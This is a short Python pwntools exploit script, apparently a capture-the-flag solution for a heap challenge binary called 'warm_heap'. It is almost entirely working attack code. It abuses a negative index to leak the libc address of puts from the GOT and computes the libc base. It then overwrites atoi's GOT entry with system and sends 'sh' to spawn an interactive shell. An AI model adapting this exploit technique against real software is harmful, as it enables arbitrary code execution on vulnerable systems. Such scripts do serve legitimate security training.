if it fails, run it again

warmheap.py

#!/usr/bin/env python

from pwn import *

a = process('./warm_heap', env = {'LD_PRELOAD':'./libc.so.6'})
libc = ELF('./libc.so.6')

def add(index, size, input):
	a.recvuntil('>>')
	a.sendline('1')
	a.sendline(str(index))
	a.sendline(str(size))
	a.sendline(str(input))

def edit(index, input):
	a.recvuntil('>>')
	a.sendline('2')
	a.sendline(str(index))
	a.sendline(str(input))
	pass

def remove():
	pass

def view(index):
	a.recvuntil('>>')
	a.sendline('4')
	a.sendline(str(index))
	pass

got_puts = 0x0000000000602020
got_atoi = 0x0000000000602068

add(0, got_puts, 'a'*8)
view(-12)

#==============
libc_puts = u64(a.recvuntil('\x7f').split(':')[1].strip() + '\x00'*2)
log.info(hex(libc_puts))
base = libc_puts - libc.symbols['puts']
log.info(hex(base))
system = base + libc.symbols['system']
#===============

add(0, got_atoi, 'b'*8)
edit(-12, p64(system))

a.sendline('sh\x00')

a.interactive()